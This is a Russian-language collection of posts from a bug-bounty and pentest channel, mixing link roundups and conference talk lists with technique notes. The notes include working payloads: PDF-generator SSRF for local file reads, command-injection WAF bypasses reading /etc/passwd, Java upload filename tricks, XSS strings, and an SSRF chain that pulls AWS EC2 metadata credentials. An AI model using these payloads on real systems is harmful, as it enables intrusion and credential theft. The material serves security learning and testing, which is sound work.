Когда нибудь слышали про ошибки во время конвертации из .html
в .pdf
? Нет? Тогда советую ознакомиться с видом уязвимостей под названием Server Side XSS (Dynamic PDF). Обычно, уязвимость этого рода приводит к возможности совершения запросов от имени сервера (SSRF) и в худшем случае - к чтению локальных файлов. Но, так получилось, что иногда дефолтные пейлоады для чтения локальных файлов не работают по какой-то причине.
Что же, ресерчер по имени jakedmurphy1 обнаружил интересное поведение, которое позволяет в большинстве случаев обойти ограничение на чтение файлов следующим образом:
1. В .html
документ, который будет конвертирован в .pdf
помещается следующая полезная нагрузка:<iframe src='http[s]://<your-server>/<your_php_file>?a=file:////etc/passwd'/>
2. На сервере <your-server>
размещается следующий .php код:<?php
$loc = $_GET['a'];
header('Location: '.$loc);
?>
После того, как триггернется Server-Side XSS, мы сможем получить содержимое файла, указанное внутри аргумента a
.
📖 Учебный план для специалистов по ИБ
Практический учебный план, чтобы стать успешным инженером по кибербезопасности, основанный на таких ролях, как Pentest, AppSec, Cloud Security, DevSecOps и т.д. Включает бесплатные и платные ресурсы, инструменты и концепции.
Ссылка на GitHub
#web #redteam
🟧Про скрытые возможности
Ранее я уже рассказывал про скрытые параметры и приводил примеры того, как можно автоматизировать их поиск. Однако, в некоторых случаях, бывает достаточно посмотреть параметры в истории запросов и попробовать использовать их в других конечных точках, где они не используются.
В качестве примера приведу приложение, где в профиле пользователя была возможность изменить email
, но не было возможности менять имя пользователя. При смене почты отправлялся запрос вида:PUT /api/customers/11111111/ HTTP/2
Host: test.com
...{"email":"newEmail@email.com"}
Однако, если заменить параметр email
на firstName
, который был замечен при регистрации, то можно обойти ограничение и изменить значение имени пользователя.
Кроме того, таким способом можно было получить Stores XSS, так как не предусматривалось изменение параметра пользователем и он оставался без должной фильтрации.PUT /api/customers/11111111/ HTTP/2
Host: test.com
...
{"firstName":"<img src='x' onerror='alert(1)'>"}
#web #fuzz #xss
📓Немного про Stored XSS
Выпал на пару недель из-за болезни и в процессе безделья занялся прочтением недавних отчетов и райтапов. В связи с этим, решил написать про Stored XSS.
Основное, на что стоит обратить внимание, это всевозможные страницы в приложении, где отображается наш ввод. Для сложных приложений бывает так, что разработчикам трудно обеспечить одну и ту же очистку данных для каждой страницы. В результате, большинство страниц обрабатывают введенную полезную нагрузку безопасно, но можно найти области, которые не очищают определенные символы и позволяют выполнить XSS. Подобные примеры вы можете увидеть в недавних раскрытых отчетах у Gitlab, Shopify, TikTok и других именитых вендоров.
Но можно ли добавить автоматизации в этот процесс? Чтобы отыскать максимальное количество мест, где встречается наш ввод, используем простую полезную нагрузку вроде <u>tester1337'"
и проксируем все через бурп. Далее, исследуем сайт, пытаясь нажать куда только можно или используем доступный краулер (встроенный в бурп или описанный здесь). Затем в истории бурпа делаем поиск по строке tester1337
и анализируем, как наша полезная нагрузка отображается в различных областях приложений. Можно даже не искать самостоятельно, а написать простенький шаблон для какого-нибудь расширения типа Burp Bounty, который будет делать это за нас при пассивном сканировании.
#web #xss
🚗Ещё больше про взлом автомобилей
А если вам понравилась предыдущая статья, то тут еще одна история, про взлом автомобилей Honda, Nissan, Infiniti и Acura, перевод которой также доступен по ссылке ниже.
Читать статью
#web #carhacking #idor
На https://github.com/features/code-search/ можно присоединиться к бета-тесту обновленного поискового синтаксиса по гитхабу.
Запилены полноценные регулярные выражения, что делает для багхантеров поиск всяких интересный штук, типа захардкорженных кредов/интересных эндпоинтов и так далее более гибким. Так что теперь можно прокачать и вывести на новый уровень старые добрые гитхабдорки.
#bb
👨💻 Уязвимые фрагменты кода
Если хотите попрактиковаться в анализе защищенности кода, то обратите внимание на репозиторий от YesWeHack, которые каждую пятницу публикуют у себя в твиттер фрагменты кода с различными уязвимостями.
Фрагменты кода удобны для начинающих, но подходят для всех уровней. Репозиторий также содержит скрипт для установки и тестирования этих фрагментов кода локально.
Ссылка на GitHub
#code #web
🖇️ Немного про захват поддоменов
Вы знакомы с захватом поддоменов? Если нет, то можете найти немного материала на канале по хештегу #sto. Если вы уже изучали захват поддоменов, то наверняка слышали о Can-I-Take-Over-XYZ. Это репозиторий на GitHub, который показывает нам, какие сервисы уязвимы, а какие нет.
Тем не менее, многие используют его неправильно, и вы, вероятно, тоже. Есть много сервисов, которые даже не присутствуют на Can-I-Take-Over-XYZ и 99% багхантеров еще не охотились на них.
Во-первых, большинство людей видели только первую страницу Can-I-Take-Over-XYZ, однако эта страница редко обновляется и содержит только часть сервисов. Вы можете открыть страницу issue и выполнить поиск по лейблу "vulnerable", чтобы увидеть гораздо больше сервисов, чем вы думали.
Во-вторых, есть много сервисов, о которых просто никогда не сообщали в репозиторий, например readymag.com, reg.ru, shoplo.com, icn.bg, modulus.io, mailgun.com, DYN, Fider, Wufoo, bigcartel и другие. Их должно быть гораздо больше, поэтому, если вы столкнетесь с подобным сервисом в CNAME, и он не задокументирован, посмотрите на него, и возможно, вы будете первым, кто обнаружит в нем захват поддомена.
#web #sto
💉 Command Injection с обходом блокировки ключевых слов
Если вы нашли Command Injection, а WAF блокирует ключевые слова, то можно попробовать один из способов обхода, заключающийся в добавлении обратного слеша и символа новой строки между словами из черного списка:c\%0aat /et\%0ac/pas\%0aswd
Не стоит также забывать про глоббинг, о котором я уже рассказывал у себя на канале.
#web #rce #bypass
🗳 Трюки с произвольной загрузкой файлов в Java
Результаты нормализации имени файла зависят от реализации различных JAR библиотек и личных привычек разработчиков. Это можно использовать для обхода средств защиты. Ниже представлены способы загрузки файла с именем pyn3rd.jsp
для некоторых популярных методов:
1. Метод getSubmittedFileName()
Для данного метода достаточно поместить обратный слеш в имя файла:filename="pyn3rd.j\sp"
После нормализации на сервер загрузится файл с именем pyn3rd.jsp
.
Кроме обратного слеша, можно оставить параметр filename
без закрывающей двойной кавычки и поместить в конце расширения произвольный символ:filename="pyn3rd.\jspz
2. Метод getOriginalFilename()
Этот метод позволяет получить имя файла напрямую без изменений. Однако, когда мы используем другой метод StringUtils.cleanPath()
для нормализации имени файла, которое принимает метод getOriginalFilename()
появляется особенность, позволяющая обойти проверку имени:filename="pyn3rd.jsp/./././."
3. Метод Apache commons-fileupload/commons-io
Добавляем в конце имени файла /
или /[ПРОБЕЛ]
или /
c другими нулевыми значениями (\r
, \n
и т.д.)filename="pyn3rd.jsp/"
Кроме того, если вставить символы после /
или /[ПРОБЕЛ]
, то все, что после слеша, будет принято за имя файла.filename="pyn3rd.jsp/a"
Ссылка на блог
#web #fileupload
▶️ Как видео на YouTube привело к взлому веб-приложения
Базовая разведка, поиск информации о структуре приложения и эксплуатация слепой SQL инъекции.
Читать статью
#web #sqli
📑 XSS Hunter прекращает поддержку
Если вы занимались поиском Blind XSS, то наверняка знакомы с сайтом xsshunter.com. 1 февраля 2023 года сайт прекращает поддержку. Подробности об этом вы можете узнать по данной ссылке.
Однако, для продолжения работы с инструментом, вы можете запустить собственную версию XSS Hunter для поиска Blind XSS.
Ссылка на GitHub
#web #xss
🗳️ Как получить Stored XSS при загрузке файлов в Apache
Apache httpd не возвращает автоматически Content-type
для файлов без имени (но с расширением) и для файлов, содержащих только точки в качестве имени. Например, test.jpg
вернет Content-Type: image/jpeg
, а ...jpg
— нет.
Apache httpd использует mod_mime
по умолчанию, а поведение mod_mime
по умолчанию заключается в том, чтобы не устанавливать тип содержимого для файлов, чьи имена состоят из точек и расширения, например "...jpg
".
Поскольку "...jpg
" также проходит тривиальную проверку "заканчивается на .jpg", мы можем использовать это в формах загрузки изображения. Вредоносный HTML код может быть загружен в файл с именем "...jpg
", который затем будет возвращен без типа содержимого. Если Content-Type Sniffing явно не отключен (а по умолчанию это не так), то это приведет нас к хранимому XSS.
Вендор же говорит, что это ожидаемое поведение для mod_mime
...
#web #xss #apache #fileupload
☎️ Открыли приём заявок на митап Standoff Talks
22 ноября мы проведём второй митап Standoff Talks для энтузиастов и профессионалов offensive и defensive security. Зовём всех поделиться с сообществом своим опытом, и открываем для вас Call for Papers: cfp.standoff365.com
Тематика докладов не изменилась:
🔹 технические доклады от специалистов в {off,def}ensive security;
🔹 bug bounty находки от хакеров и опыт проведения bb от компаний;
🔹 опыт участия в кибербитве и на онлайн-киберполигоне Standoff 365.
Митап пройдёт в уютном пространстве Grand Ballroom в Москве. Регистрацию слушателей запустим в начале ноября. Ждём ваши мощные доклады 👉 cfp.standoff365.com
Заявки на CFP принимаем до 5 ноября 📥
👨🏻💻 OFFZONE MOSCOW 2022.
OFFZONE — международная конференция по практической кибербезопасности, которая проходит в Москве с 2018 года. Она объединяет безопасников, разработчиков, инженеров, исследователей, преподавателей и студентов из десятков стран мира. В центре внимания — только технический контент, посвященный актуальным темам отрасли.🖖🏻 Приветствую тебя user_name.
• Третья международная конференция по практической кибербезопасности OFFZONE прошла 25–26 августа. Ее участниками стали безопасники, разработчики, инженеры, исследователи, преподаватели и студенты из разных стран.
• Сегодня поделюсь ссылками на доклады, которые публикуются на YT. Очень много интересного материала по разным темам, включая #СИ, #OSINT, #Lockpicking и многое другое. Уделите время и послушайте материал, будет весьма полезно:
• Обзор APT‑атак на российские компании в первой половине 2022;
• Hi! Can I Charge My Phone?
• Небольшая OPPOлошность. История исследования 5G‑роутера;
• Современные подходы к выявлению аномалий с помощью мониторинга LDAP и RPC;
• Облачные токены Microsoft — больше никаких «секретиков»;
• Как справляться с плохими пентестами, когда ты плохой пентестер;
• Исследуем репозиторий опенсорс‑проектов на трояны;
• Fork‑бомба для Flutter;
• Mobile (Fail)rensics;
• FHRP Nightmare;
• Application Security Design Antipatterns;
• Безопасность Kubernetes: Фаза Deception;
• Заметки путешественника между мирами: ИБ, ИТ;
• Короткий рассказ о CVE 2021 27223;
• Fishnet Framework — Интуитивное тестирование на проникновение;
• Незадокументированные возможности некоторых расширений Burp Suite;
• Пентестим FreeIPA;
• Заметки Осинтера;
• Безопасная разработка моделей машинного обучения;
• Атаки на ИИ, но проще;
• Вредоносные расширения для браузеров;
• Упущенная возможность: Обнаруживаем легитимное ПО, используемое атакующими;
• Разработка модулей UEFI и их отладка без NDA;
• Обеспечение безопасности применения методов машинного обучения;
• Безопасность upgradeable смарт контрактов;
• Крафтовый антифишинг от тинькофф;
• Уязвимости платежных приложений;
• Безопасность Android в POS терминалах;
• Безопасность банкоматов для самых маленьких;
• LockPick the autopsy will tell;
• RFID;
• Anti Panopticum & Privacy Problems;
• Как посмотреть, где почесать;
• Превращаем обычный SSD диск в два с помощью реверс инжиниринга;
• Устройство файла прошивки AMD PSP UEFI;
• Полный обзор Yubikey и passwordLess уже вчера и практическое исп-ние + TPM;
• Классика Wi Fi пентеста;
• Восстановление шифрованных данных с поврежденных носителей.
❗️ Доклады AppSec.Zone и DC&HW.Zone будут опубликованы позже, не пропустите!
Твой S.E.
Тут начали выкладывать записи докладов с Nahamcon(а то ссылка выше уже умерла).
Весьма важный и полезный докладец для веберов от Inti De Ceukelaire.
Чел уже не первый год соревнуется в умении читать различные RFC. После чего придумывает элегантные способы похеков.
В рассказе есть приемчик в стиле "пробел" как атака. Только в его интерпретации это "точка" как атака.
Еще весьма интересным и элегантным мне показался кейс с обходом рэйт лимитов на брут OTP. Сразу вспоминается множество мест и проектов где это можно было применить и проверить...
Например оказывается номер +4915200701337;ext=0 в определенных обстоятельствах может считаться равным номеру +4915200701337. Но увеличивая значение ext, может получиться так, что вы сможете обойти лимит на отправку OTP. Система будет считать это разными номерами. А вы будете получать коды к формально к одному номеру.
Так же рассказаны другие прикольчики и "старые" приёмчики, которые он использовал и использует. Видео доклада тут.
PS: надо бы себе нарисовать план по изучению важных RFC с точки зрения "вебера". Пока Джеймс Кеттле всё не разобрал 😁
📚Обучающие материалы и лаборатории для этичных хакеров
Коллекция обучающих материалов и лабораторий, сделанных для студентов, изучающих информационную безопасность, сети и администрирование. Содержит материалы для подготовки к CEH и прочие ресурсы из различных уголков интернета.
Ссылка на GitHub
#redteam #labs
👁 OSINT: Подборка полезных инструментов и ресурсов. V2.🖖🏻 Приветствую тебя user_name.
• Подборка полезных инструментов, ресурсов, статей и другой необходимой информации по теме OSINT.
• Подборка является продолжением поста от 20.10.2021 (самом популярном посте в S.E. (136K просмотров и 8К репостов)).
Общение:
• Telegram форум для обучения, тренировок и общения.
Коллекции инструментов и ресурсов:
• DarkNet OSINT.
• Awesome OSINT.
• OSINT collection от SANS.
• 22 Best OSINT Blogs and Websites.
• Поиск геолокации нашей цели V1.
• Поиск геолокации нашей цели V2.
• Инструменты для OSINT в Telegram.
• OSINT коллекция от Cyber Detective.
• 4000+ ресурсов и инструментов для OSINT.
• Сотни инструментов для онлайн разведки.
• Подборка инструментов для сегмента onion.
• Коллекция инструментов от Майкла Баззела.
• Сотни инструментов и ресурсов на любой вкус.
• Блоги, подкасты, новостные ресурсы, различные каналы.
• Подборка поисковиков, обеспечивающих конфиденциальность.
Поиск информации по по различным критериям:
• Поиск информации по фото лица.
• Находим имя цели по номеру телефона.
• Поиск информации по номеру телефона.
• Поиск информации с помощью документов.
• Поиск информации о цели, зная Email адрес.
• Поиск информации по ip адресу и не только.
• Поиск цели по ip, MAC и Физическому адресу.
• OSINT по номеру кошелька + подборка поисковиков.
• Поиск информации о цели, имея данные о транспорте.
Курсы и видеоматериал:
• Заметки Осинтера.
• Google maps gameplay.
• Подкасты OSINT mindset.
• Курс: Зеркало интернета.
• Лекция по основам OSINT.
• Видео: 20 полезных приемов OSINT.
• Видео: OSINT tools to track you down.
Статьи и руководства:
• OSINT в Telegram v1.
• OSINT в Telegram v2.
• Идентификация ориентиров.
• Поиск корпоративной почты.
• Maltego. Бесплатные дополнения.
• Поиск информации по электронной почте.
• Поиск цели по username посредством maigret.
• Поиск данных о корпорациях и их владельцах.
• Руководство по GPS метаданным в фотографиях.
• Практическое руководство по online разведке.
• Извлекаем информацию о цели из социальных сетей.
• Конкурсы и задачи по OSINT и геолокации. Качаем скилл.
• Counter-OSINT: руководство по приватности и защите своих данных в сети.
• Расширенное руководство по верификации видеоматериалов.
Инструменты для поиска информации:
• Big Bro.
• MOSINT.
• Trape V2.
• Snoop Project.
• Виртуалки и дистрибутивы.
• Подборка бесплатных дополнений Maltego.
• Полезные инструменты для OSINT от Bellingcat.
• GitHub дорки.
• Дорки Shodan.
• Полезные блок-схемы.
• Ресурсы для поиска Google дорков.
• Полезные расширения для firefox.
• 30 полезных расширений для Google Chrome.
❗️Список не претендует на полноту. @S.E. #OSINT
🔐 Обход средств защиты через GBK Encoding
Добавлю в копилку постов про различные способы обходов средств защиты, ведь если это сработало у Майкрософт, то наверняка сработает где-нибудь еще.
嘊 = %E5%98%8A ⇒ %0A
嘍 = %E5%98%8D ⇒ %0D
嘾 = %E5%98%BE ⇒ %3E (>)
嘼 = %E5%98%BC ⇒ %3C (<)
嘢 = %E5%98%A2 ⇒ %22 (')
嘧 = %E5%98%A7 ⇒ %27 (")
#web #bypass #waf
🚗Взлом автомобилей Hyundai и Genesis
Sam Curry у себя в Twitter поделился историей о том, как им удалось захватить учетную запись и выполнять все команды на автомобилях Hyundai и Genesis. Что примечательно, хватило только уязвимостей в вебе и ничего кроме.
Если еще не видели, то рекомендую глянуть. Перевод истории доступен по ссылке ниже.
Читать статью
#web #carhacking #ato
🔐 Обход средств защиты с помощью фаззинга
Интересная статья об особенностях нормализации в различных системах и обхода регулярных выражений при проверке пользовательского ввода.
В рамках доклада автор представляет инструмент, под названием recollapse, позволяющий генерировать полезные нагрузки для тестирования WAF и обхода слабых реализаций средств защиты.
#web #fuzz #bypass #waf
📓 Отравляем кэш и получаем Stored XSS в Drupal
Если вы раньше работали с Drupal, то можете знать, что у него есть собственная внутренняя система кэширования, которая включена по умолчанию.
Самый простой способ узнать, включено ли кэширование - найти заголовок x-drupal-cache
в ответе. Таким образом, вы даете уникальный ключ (конечная точка + параметры) в запросе, и в ответ вы получаете заголовок x-drupal-cache: MISS
, но если вы снова делаете запрос с тем же ключом и получаете заголовок x-drupal-cache: HIT
в ответе, то кэширование включено. Чтобы узнать больше о том, как работает кэширование и его эксплуатация, прочитайте статью от Portswigger.
После того, как вы узнали, что кэширование включено, один из способов, который можно использовать - это отравление кэша полезной нагрузкой для XSS. Но для этого нужно найти HTTP заголовок, который отражается в ответе. Поскольку Drupal, как и любой другой PHP-фреймворк, иногда поддерживает заголовки X-Original-URL
и X-Rewrite-URL
, можно попробовать ввести эти заголовки в запрос. Если это не сработает, попробуйте брутфорс заголовков.
Для этого можно использовать Param Miner в Burp Suite, который будет перебирать основные заголовки. На изображении ниже вы можете видеть, как был найден заголовок под названием style
, который отражался в ответе и был уязвим для XSS.
Ответ с полезной нагрузкой кэшируется для вышеуказанного уникального запроса. Теперь, когда кто-то посещает адрес:https://www.redacted.com/? q=admin&liec4897=1
отравленный ответ будет отображаться друпалом, в результате чего выполнится Stored XSS.
#web #cache #drupal
🕷️ Katana - новый краулер от Projectdiscovery
Очередной подарок для любителей автоматизации. По словам авторов, мы получаем краулер нового поколения со стандартным и headless режимом, настраиваемым конфигом, скоупом, фильтрацией и многим другим.
P.S: Headless мод с автозаполнением форм очень хорош:katana -u https://test.com -headless -jc -aff -kf -c 50 -fs dn
Ссылка на GitHub
#web #tools
📚 Материалы с конференций по кибербезопасности
В репозитории собраны различные материалы с недавних конференций по кибербезопасности, с ссылками на их видео и слайды.
Ссылка на GitHub
#web
10 способов отрепортить ерунду и получить за это баунти (1 часть)
Написал небольшую статью про самые нелепые баги за которые мне удавалось получить награду ;)
Буду благодарен если где-то поделитесь статьей)
https://telegra.ph/10-sposobov-otreportit-erundu-i-poluchit-za-ehto-baunti-10-10
💉 Инъекция NoSQL в простом виде
Описание мыслительного процесса и подхода при тестировании конкретного приложения на NoSQL инъекцию.
Читать статью
#web #nosqli
🎐 Незаметный SSRF
Немного полезного с недавних докладов. Где мы обычно видим такой параметр?__region=eu-west-1
Думаю, некоторые уже поняли, что это относится AWS S3. Первое, что можно попробовать, это вставить рандомное значение в параметр:__region=test
Если видим таймаут в ответе, то это должно вызвать подозрение и стоит приглядеться внимательнее.
Открываем Burp Collaborator (или любой аналог), берём наш адрес и создаём небольшой список полезных нагрузок:xxxx.oastify.com
xxxx.oastify.com/
@xxxx.oastify.com
\\xxxx.oastify.com
//xxxx.oastify.com
.xxxx.oastify.com/
.xxxx.oastify.com
%2f%2fxxxx.oastify.com
Подставляем в параметр __region
. После отправки xxxx.oastify.com/
был получен DNS pingback к sns.xxxx.oastify.com
.
Что же происходит на бэкэнде?
Приложение читает значение в параметре __region
и создает запрос вида:GET https://sns.REGION.amazonaws.com
Отправив xxxx.oastify.com/
в качестве полезной нагрузки, мы получили следующий запрос от сервера:GET https://sns.xxxx.oastify.com/.amazonaws.com
Попробуем выйти из контекста. Мы должны найти способ заставить приложение выполнять запрос на нужный нам хост:
Payload:x@xxxx.oastify.com/
Запрос от сервера:https://sns.x@xxxx.oastify.com/.amazonaws.com
Хорошо, но не достаточно. Как же мы можем прочитать секреты AWS размещенные по адресу:http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Приложение делает https запрос, в то время как нам нужен http для доступа к данной конечной точке EC2.
Создадим редирект с помощью ssrf.localdomain.pw и полезная нагрузка примет вид:x@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
В таком виде, запрос сервера будет выглядеть следующим образом:https://sns.x@ssrf.localdomain.pw/custom-30x/?code=301&url=http:// 169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/.amazonaws.com
Небольшая проблема, которая по прежнему нам мешает, это наличие /.amazonaws.com
в конце запроса. Чтобы избавиться от него, достаточно добавить ?
в конце полезной нагрузки:x@ssrf.localdomain.pw/custom-30x/?code=301&url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?
#web #ssrf #bypass
📚 Библиотека безопасности Web3
Кстати, если захотите подтянуть свои знания по Web3, то можете заглянуть в репозиторий от Immunefi, который содержит коллекцию ресурсов с описанием основных концепций, уязвимостей, инструментов и многого другого.
Ссылка на GitHub
#web3
📱 Бесплатные лаборатории для практики пентеста мобильных приложений
Ниже представлена небольшая подборка бесплатных лабораторий, в которых можно поискать уязвимости мобильных приложений.
▫️ Damn Vulnerable Android App (DVAA)
▫️ Damn Vulnerable iOS App (DVIA)
▫️ Damn Vulnerable Hybrid Mobile App (DVHMA)
▫️ The OWASP iGoat project
▫️ Cool Games
▫️ Note Box
▫️ Panda Zap
▫️ InsecureBank v2
#ios #android #mobile